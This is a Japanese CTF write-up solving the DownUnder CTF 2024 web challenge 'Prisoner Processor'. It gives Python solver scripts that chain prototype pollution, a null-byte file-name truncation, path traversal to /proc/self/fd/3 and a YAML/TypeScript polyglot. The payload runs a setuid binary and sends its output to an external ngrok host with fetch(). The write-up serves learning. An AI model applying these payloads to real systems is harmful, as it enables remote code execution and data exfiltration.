🦘

DownUnder CTF 2024 - Prisoner Processor

2024/07/09に公開

Web問題最難関だったPrisoner Processorを公式writeupをチラ見しながら解いてみました。

325pt クリア率17/1515チーム

問題設定

BunというTypescriptのフルスタックフレームワークを利用した問題。/convert-to-yamlにデータを送ると、データをyaml形式で保存してくれる。
flag.txtはルート権限がないと見れないが、/bin/getflagというsetUIDされたバイナリで読み取ることができる。したがって、RCEが最終的な目標となる。

生成されるyamlファイルのファイル名を指定できるが、これがディレクトリトラバーサル可能であることを利用して、index.ts自体を書き換えたい。しかし、これにはいくつかの障壁がある。

  1. SHA256を利用したsignatureのチェックが行われるが、利用される鍵がわからないので、/exampleで提示された例しか送れない。
app/src/index.ts
const getSignature = (data: any): string => {
  const toSignArray = Object.entries(data).map(([k, v]) => `${k}=${v}`);
  toSignArray.sort();
  return createHmac('sha256', SECRET_KEY)
    .update(toSignArray.join("&"))
    .digest("hex");
};

const hasValidSignature = (data: any, signature: string): boolean => {
  const signedInput = getSignature(data);
  return signedInput === signature
};

const getSignedData = (data: any): any => {
  const signedParams: any = {};
  for (const param in data) {
    if (param.startsWith(SIGNED_PREFIX)) {
      const keyName = param.slice(SIGNED_PREFIX.length);
      signedParams[keyName] = data[param];
    }
  }
  return signedParams;
/* snip */
app.post('/convert-to-yaml',
/* snip */
      const signedData = getSignedData(data)
      const signature = body.signature;
      if (!hasValidSignature(signedData, signature)) {
        return c.json({ msg: "signatures do no match!" }, 400);
      }
/* snip */
  1. ファイル名にsuffixが付くので、index.tsというファイル名で保存できない
app/src/index.ts
const outputPrefix = z.string().parse(signedData.outputPrefix ?? "prisoner");
  1. パスに使えない文字列がある
app/src/index.ts
const BANNED_STRINGS = [
  "app", "src", ".ts", "node", "package", "bun", "home", "etc", "usr", "opt", "tmp", "index", ".sh"
];
/* snip */
const checkIfContainsBannedString = (outputFile: string): boolean => {
  for (const banned of BANNED_STRINGS) {
    if (outputFile.includes(banned)) {
      return true
    }
  }
  return false;
}

const convertJsonToYaml = (data: any, outputFileString: string): boolean => {
  if (checkIfContainsBannedString(outputFileString)) {
    return false
  }
  1. yaml形式でしか保存できない
  2. ファイルを書き換えた後、再起動させる必要がある

Step 1: Signatureの回避

getSignedData関数は、SIGNED_PREFIX = "signed."から始まるデータのみを抽出する。

app/src/index.ts
const getSignedData = (data: any): any => {
  const signedParams: any = {};
  for (const param in data) {
    if (param.startsWith(SIGNED_PREFIX)) {
      const keyName = param.slice(SIGNED_PREFIX.length);
      signedParams[keyName] = data[param];
    }
  }
  return signedParams;
};

signatureのチェックは、これによって抽出されたデータのみが利用される。outputPrefixsignedDataでなければならないので、outputPrefixの値を変更するとsignatureの値が変わってしまう。

app/src/index.ts
      const signedData = getSignedData(data)
      const signature = body.signature;
      if (!hasValidSignature(signedData, signature)) {
        return c.json({ msg: "signatures do no match!" }, 400);
      }
      const outputPrefix = z.string().parse(signedData.outputPrefix ?? "prisoner");

javascriptでは、signedData.outputPrefixが評価される時、オブジェクトに直接結びついたプロパティが見つからない場合、signedData.__proto__.outputPrefixを評価する(プロトタイプチェーン)。しかし、getSignatureで利用されているObject.entriesはオブジェクトに直接結びついたプロパティのみを抽出する。

app/src/index.ts
const getSignature = (data: any): string => {
  const toSignArray = Object.entries(data).map(([k, v]) => `${k}=${v}`);

よって、signedData.__proto__.outputPrefixを指定すると、Object.entriesでは列挙されないが、signedData.outputPrefixには反映される、ということができる。残りのデータとして/exampleによって提示されたものを利用すれば、signatureは一致するようになる。

ここまでのソルバー
solver.py
import requests

URL = "http://localhost:1337/"

target_path = "IMFREE"

r = requests.get(URL + "examples")
example = r.json()['examples'][0]


json = {
    "data": {
        **example['data'],
        "signed.__proto__": {
            "outputPrefix": target_path,
        }
    },
    "signature": example["signature"]
}

r = requests.post(URL + "convert-to-yaml", json=json)
print(r.text)

Step 2: suffixを無視する

app/src/index.ts
const outputFile = `${outputPrefix}-${randomBytes(8).toString("hex")}.yaml`;

outputPrefix以降を無視してほしいので、とりあえずヌル文字を入れてみると、無事それ以降の文字が無視されるようになった。

ここまでのソルバー
solver.py
import requests

URL = "http://localhost:1337/"

target_path = "IMFREE.txt"

r = requests.get(URL + "examples")
example = r.json()['examples'][0]


json = {
    "data": {
        **example['data'],
        "signed.__proto__": {
            "outputPrefix": target_path + b"\x00",
        }
    },
    "signature": example["signature"]
}

r = requests.post(URL + "convert-to-yaml", json=json)
print(r.text)
なんでこれでうまくいくのか?

nodejsではこのようなヌル文字を利用したファイル名はエラーとなってしまう。(実際に、nodejs由来のfs.existsSyncは、ファイルが存在しないとして、チェックをすり抜けるようになっている)

実はBunがzigというプログラミング言語で書かれており、この言語がヌル文字で文字列の終わりを検知するようになっているから発生しているバグだそうだ。PHPとかでもよく扱われていたバグ(現在は修正済み)が現代のプログラミング言語で再発するのはおもしろい。

Step 3: 利用できない文字列の回避

app/src/index.ts
const BANNED_STRINGS = [
  "app", "src", ".ts", "node", "package", "bun", "home", "etc", "usr", "opt", "tmp", "index", ".sh"
];
/* snip */
const checkIfContainsBannedString = (outputFile: string): boolean => {
  for (const banned of BANNED_STRINGS) {
    if (outputFile.includes(banned)) {
      return true
    }
  }
  return false;
}

const convertJsonToYaml = (data: any, outputFileString: string): boolean => {
  if (checkIfContainsBannedString(outputFileString)) {
    return false
  }

実行されているindex.tsを書き換えたいが、.tsの拡張子や、/app/homeといった単語を利用することができない。

プロセスが実行時にファイルを読み込んでいるはずなので、仮想ファイルとしてシンボリックリンクが作成されていないか確認する。

bunのPIDをpsで確認し、/proc/PID/fdを見ることで、プロセスが利用している仮想ファイルを見ることができる

bun@9feaae297e91:/app$ ps -ax
    PID TTY      STAT   TIME COMMAND
      1 ?        Ss     0:00 /bin/bash /home/bun/start.sh
      8 ?        S      0:00 bun run start
      9 ?        Sl     0:00 bun run src/index.ts
    409 pts/0    Ss     0:00 /bin/bash
    420 pts/0    R+     0:00 ps -ax
bun@9feaae297e91:/app$ ls -la /proc/9/fd
total 0
dr-x------ 2 bun bun 14 Jul  9 08:28 .
dr-xr-xr-x 9 bun bun  0 Jul  9 08:18 ..
lrwx------ 1 bun bun 64 Jul  9 08:28 0 -> /dev/null
l-wx------ 1 bun bun 64 Jul  9 08:28 1 -> 'pipe:[159683]'
lrwx------ 1 bun bun 64 Jul  9 08:28 10 -> 'anon_inode:[timerfd]'
lrwx------ 1 bun bun 64 Jul  9 08:28 11 -> 'anon_inode:[timerfd]'
lrwx------ 1 bun bun 64 Jul  9 08:28 12 -> 'anon_inode:[timerfd]'
lrwx------ 1 bun bun 64 Jul  9 08:28 13 -> 'socket:[191856]'
l-wx------ 1 bun bun 64 Jul  9 08:28 2 -> 'pipe:[159684]'
lr-x------ 1 bun bun 64 Jul  9 08:28 3 -> /app/src/index.ts
...

自分自身が作成した仮想ファイルは/proc/self/fdで参照することに注意すると、/proc/self/fd/3を書き換えることができそうだ。

ここまでのソルバー
solver.py
import requests

URL = "http://localhost:1337/"

target_path = "../../proc/self/fd/3"

r = requests.get(URL + "examples")
print(r.text)
example = r.json()['examples'][0]


json = {
    "data": {
        **example['data'],
        "signed.__proto__": {
            "outputPrefix": target_path + "\x00",
        }
    },
    "signature": example["signature"]
}

r = requests.post(URL + "convert-to-yaml", json=json)
print(r.text)

Step 4: yaml形式でtypescriptを書く

要するに、yamlとしてもtypescriptとしても有効なファイルを定義しなければならない。

yamlは<キー>: <値>という行で出力される。通常は"によって囲まれないが、一部の文字(:や`)が含まれる場合、"で囲まれる。また、行が長すぎると、コロンの後で改行が挟まれる。

typescriptはconst a: any = といった形で変数を定義できる。また、javascriptと同様に、`で挟むと、改行を挟んで文字列を定義できる。

以上を考慮して、次のような入力でうまく行った。

"data": {
        "let a": "any=`", 
        "signed.name": "jeff", 
        "signed.animalType": "emu", 
        "signed.age": 12, 
        "signed.crime": "assault", 
        "signed.description": "clotheslined someone with their neck", 
        "signed.start": "2024-03-02T10:45:01Z", 
        "signed.release": "2054-03-02T10:45:01Z", 
        "signed.__proto__": {
            "outputPrefix": "../../proc/self/fd/3\x00"
        }, 
        "`//": "", 
        "let b": "any=Bun.spawnSync(['getflag']).stdout.toString();", 
        "let c": "any=fetch('https://tchen.ngrok.pizza/?v=' + b)"
    },

出力

let a: any=`
signed.name: jeff
signed.animalType: emu
signed.age: 12
signed.crime: assault
signed.description: clotheslined someone with their neck
signed.start: 2024-03-02T10:45:01Z
signed.release: 2054-03-02T10:45:01Z
signed.__proto__:
  outputPrefix: "../../proc/self/fd/3\0"
"`//": ""
let b: any=Bun.spawnSync(['getflag']).stdout.toString();
let c: any=fetch('https://tchen.ngrok.pizza/?v=' + b)
ここまでのソルバー
solver.py
import requests

URL = "http://localhost:1337/"
EVIL = "https://xxx.ngrok.app/"

target_path = "../../proc/self/fd/3"

r = requests.get(URL + "examples")
example = r.json()['examples'][0]
bun_obj = "{fetch(req) {return new Response(b)}}"

json = {
    "data": {
        "let a": "any=`",
        **example['data'],
        "signed.__proto__": {
            "outputPrefix": target_path + "\x00",
        },
        "`//": '',
        "let b": "any=Bun.spawnSync(['getflag']).stdout.toString();",
        "let c": f"any=fetch('{EVIL}?v=' + b)"
    },
    "signature": example["signature"]
}

r = requests.post(URL + "convert-to-yaml", json=json)
print(r.text)

killコマンドでbunを終了させると、フラグの値がサーバーに返ってくる

Step 5: サーバーの再起動

scripts/start.sh
#!/bin/bash

cd /app;
# Loop in case the app crashes for some reason ¯\_(ツ)_/¯
while :; do
    for i in $(seq 1 5); do
        bun run start;
        sleep 1;
    done
    # Okay for some reason something really goofed up...
    # Restoring from backup
    cp -r /home/bun/backup/app/* /app;
done

サーバーが終了すると、このファイルによって再起動する。これを利用して、書き換えたindex.tsを実行させたい。

コードの大半がtry catch文で囲われているため、Bunのハンドラーや、honoのバリデーターでエラーをおこす必要がある。シンボリックリンクへのパスの末尾にエスケープされた文字がある場合、そのファイルを読み取ろうとするとBunがエラーを起こしてクラッシュしてくれる。(なぜ?)

したがって、以下の通りでフラグゲット

import requests

URL = "https://web-prisoner-processor-eec551182ebe712c.2024.ductf.dev/"
# URL = "http://localhost:1337/"
EVIL = "https://xxx.ngrok.app/"

target_path = "../../proc/self/fd/3"

r = requests.get(URL + "examples")
example = r.json()['examples'][0]

json = {
    "data": {
        "let a": "any=`",
        **example['data'],
        "signed.__proto__": {
            "outputPrefix": target_path + "\x00",
        },
        "`//": '',
        "let b": "any=Bun.spawnSync(['getflag']).stdout.toString();",
        "let c": f"any=fetch('{EVIL}?v=' + b)"
    },
    "signature": example["signature"]
}

r = requests.post(URL + "convert-to-yaml", json=json)

target_path = "../../proc/self/fd/3\\x"

json = {
    "data": {
        **example['data'],
        "signed.__proto__": {
            "outputPrefix": target_path + "\x00",
        },
    },
    "signature": example["signature"]
}

requests.post(URL + "convert-to-yaml", json=json)
print(r.text)

感想

当日はステップ1はできていたが、ステップ2で止まってしまっていた。ヌル文字を入れることは考えたが、何故かうまくいかず(多分エスケープの仕方を間違えてたとか)、「現代の言語でこんな凡ミスするはずないか...」とあきらめてしまっていた。発想はあっただけに惜しかった。

ステップ3は、知識として汎用性がありそうなので覚えておこう。多分webだけじゃなくてmiscとかpwnとかでも使う日は来そう。/procの中身をよく知れるいい機会だった。

ステップ5に関しては、どうアプローチしたら知り得たのか正直まだわかっていない。多分「こうしたらクラッシュすることが多いだろう」みたいなアプローチの知識が必要なのだろうが、クラッシュさせることを前提とした作問が初めてだったので、まだ理解できてない。

まとめ

  • 凡ミスには気をつけよう
  • /procの中身を利用することを覚えよう
  • クラッシュさせるためには試行錯誤しかないときもある

Discussion